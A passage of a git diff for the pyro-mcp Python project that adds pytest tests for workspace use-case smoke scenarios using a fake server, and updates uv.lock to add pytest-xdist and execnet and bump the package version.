labels=cast(dict[str, str] | None, arguments.get("labels")), + ) + created = outer.status_workspace(cast(str, result["workspace_id"])) + created["workspace_seed"] = { + "mode": "directory", + "seed_path": str(seed_path.resolve()), + "origin_kind": "project_path", + "origin_ref": str(seed_path.resolve()), + } + return None, created + + return _FakeServer() + + +def test_use_case_registry_has_expected_scenarios() -> None: + expected = ( + "cold-start-validation", + "repro-fix-loop", + "parallel-workspaces", + "untrusted-inspection", + "review-eval", + ) + assert USE_CASE_SCENARIOS == expected + assert USE_CASE_CHOICES == expected + (USE_CASE_ALL_SCENARIO,) + assert tuple(recipe.scenario for recipe in WORKSPACE_USE_CASE_RECIPES) == expected + + +def test_use_case_docs_and_targets_stay_aligned() -> None: + repo_root = _repo_root() + index_text = (repo_root / "docs" / "use-cases" / "README.md").read_text(encoding="utf-8") + makefile_text = (repo_root / "Makefile").read_text(encoding="utf-8") + assert "trustworthy" in index_text + assert "guest-backed verification path" in index_text + for recipe in WORKSPACE_USE_CASE_RECIPES: + assert (repo_root / recipe.doc_path).is_file(), recipe.doc_path + recipe_text = (repo_root / recipe.doc_path).read_text(encoding="utf-8") + assert recipe.smoke_target in index_text + assert recipe.doc_path.rsplit("/", 1)[-1] in index_text + assert recipe.mode in recipe_text + assert recipe.smoke_target in recipe_text + assert f"{recipe.smoke_target}:" in makefile_text + + +def test_use_case_parser_exposes_all_scenarios() -> None: + parser = build_arg_parser() + scenario_action = next( + action for action in parser._actions if getattr(action, "dest", None) == "scenario" + ) + choices = cast(tuple[Any, ...], scenario_action.choices) + assert tuple(choices) == USE_CASE_CHOICES + + +def test_run_all_use_case_scenarios_with_fake_pyro( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + fake_pyro = _FakePyro(tmp_path / "fake-pyro") + monkeypatch.setattr(smoke_module, "Pyro", lambda: fake_pyro) + monkeypatch.setattr(time_module, "sleep", lambda _seconds: None) + + smoke_module.run_workspace_use_case_scenario("all") + + assert fake_pyro._workspaces == {} + assert fake_pyro.patch_apply_count == 1 + + +def test_run_workspace_use_case_scenario_rejects_unknown() -> None: + with pytest.raises(ValueError, match="unknown use-case scenario"): + smoke_module.run_workspace_use_case_scenario("not-a-scenario") + + +def test_main_runs_selected_scenario(monkeypatch: pytest.MonkeyPatch, tmp_path: Path) -> None: + fake_pyro = _FakePyro(tmp_path / "fake-pyro-main") + monkeypatch.setattr(smoke_module, "Pyro", lambda: fake_pyro) + monkeypatch.setattr(time_module, "sleep", lambda _seconds: None) + monkeypatch.setattr( + "sys.argv", + [ + "workspace_use_case_smoke", + "--scenario", + "repro-fix-loop", + "--environment", + "debian:12", + ], + ) + + smoke_module.main() + + assert fake_pyro._workspaces == {} + assert fake_pyro.patch_apply_count == 1 + + +def test_repro_fix_scenario_uses_structured_patch_flow( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + fake_pyro = _FakePyro(tmp_path / "fake-pyro-repro-fix") + monkeypatch.setattr(smoke_module, "Pyro", lambda: fake_pyro) + monkeypatch.setattr(time_module, "sleep", lambda _seconds: None) + + smoke_module.run_workspace_use_case_scenario("repro-fix-loop") + + assert fake_pyro.patch_apply_count == 1 diff --git a/uv.lock b/uv.lock index 279cbde..14f3147 100644 --- a/uv.lock +++ b/uv.lock @@ -275,6 +275,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/33/6b/e0547afaf41bf2c42e52430072fa5658766e3d65bd4b03a563d1b6336f57/distlib-0.4.0-py2.py3-none-any.whl", hash = "sha256:9659f7d87e46584a30b5780e43ac7a2143098441670ff0a49d5f9034c54a6c16", size = 469047, upload-time = "2025-07-17T16:51:58.613Z" }, ] +[[package]] +name = "execnet" +version = "2.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/bf/89/780e11f9588d9e7128a3f87788354c7946a9cbb1401ad38a48c4db9a4f07/execnet-2.1.2.tar.gz", hash = "sha256:63d83bfdd9a23e35b9c6a3261412324f964c2ec8dcd8d3c6916ee9373e0befcd", size = 166622, upload-time = "2025-11-12T09:56:37.75Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ab/84/02fc1827e8cdded4aa65baef11296a9bbe595c474f0d6d758af082d849fd/execnet-2.1.2-py3-none-any.whl", hash = "sha256:67fba928dd5a544b783f6056f449e5e3931a5c378b128bc18501f7ea79e296ec", size = 40708, upload-time = "2025-11-12T09:56:36.333Z" }, +] + [[package]] name = "filelock" version = "3.25.0" @@ -706,7 +715,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "1.0.0" +version = "4.5.0" source = { editable = "." } dependencies = [ { name = "mcp" }, @@ -718,6 +727,7 @@ dev = [ { name = "pre-commit" }, { name = "pytest" }, { name = "pytest-cov" }, + { name = "pytest-xdist" }, { name = "ruff" }, ] @@ -730,6 +740,7 @@ dev = [ { name = "pre-commit", specifier = ">=4.5.1" }, { name = "pytest", specifier = ">=9.0.2" }, { name = "pytest-cov", specifier = ">=7.0.0" }, + { name = "pytest-xdist", specifier = ">=3.8.0" }, { name = "ruff", specifier = ">=0.15.4" }, ] @@ -763,6 +774,19 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/ee/49/1377b49de7d0c1ce41292161ea0f721913fa8722c19fb9c1e3aa0367eecb/pytest_cov-7.0.0-py3-none-any.whl", hash = "sha256:3b8e9558b16cc1479da72058bdecf8073661c7f57f7d3c5f22a1c23507f2d861", size = 22424, upload-time = "2025-09-09T10:57:00.695Z" }, ] +[[package]] +name = "pytest-xdist" +version = "3.8.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "execnet" }, + { name = "pytest" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/78/b4/439b179d1ff526791eb921115fca8e44e596a13efeda518b9d845a619450/pytest_xdist-3.8.0.tar.gz", hash = "sha256:7e578125ec9bc6050861aa93f2d59f1d8d085595d6551c2c90b6f4fad8d3a9f1", size = 88069, upload-time = "2025-07-01T13:30:59.346Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ca/31/d4e37e9e550c2b92a9cbc2e4d0b7420a27224968580b5a447f420847c975/pytest_xdist-3.8.0-py3-none-any.whl", hash = "sha256:202ca578cfeb7370784a8c33d6d05bc6e13b4f25b5053c30a152269fd10f0b88", size = 46396, upload-time = "2025-07-01T13:30:56.632Z" }, +] + [[package]] name = "python-discovery" version = "1.1.0"